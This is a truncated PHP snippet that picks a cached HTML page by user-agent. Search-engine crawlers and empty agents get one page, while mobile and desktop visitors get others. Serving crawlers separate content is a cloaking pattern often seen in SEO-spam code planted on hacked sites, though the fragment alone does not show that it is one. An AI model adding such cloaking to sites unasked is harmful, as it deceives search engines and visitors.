$CACHETIME= 60*60*24; $url1 = $_SERVER['HTTP_HOST'].''.$_SERVER['REQUEST_URI']; $cacheurl=str_ireplace(array('/','?','=','$',"'"),'-',$url1); $agent = $_SERVER["HTTP_USER_AGENT"]; if(empty($agent) or strstr(strtolower($agent), "baidu") or strstr(strtolower($agent), "bing") or strstr(strtolower($agent), "microsoft") or strstr(strtolower($agent), "yahoo") or strstr(strtolower($agent), "search") or strstr(strtolower($agent), "image") or strstr(strtolower($agent), "video") or strstr(strtolower($agent), "news") or strstr(strtolower($agent), "bot") or strstr(strtolower($agent), "ads") or strstr(strtolower($agent), "spider") or strstr(strtolower($agent), "tool")) { $CACHESOURCE='cache/htdbot.html'; }else if(strstr(strtolower($agent), "mobile")) { $CACHESOURCE='cache/htd.html'; }else{ $CACHESOURCE='cache/htdpc.html'; } $CHECKLOAD=time() - $CACHETIME; if(file_exists($CACHESOURCE) AND ($CHECKLOAD < filemtime($CACHESOURCE))){ include($CACHESOURCE); die(); } else { ob_start(); ?>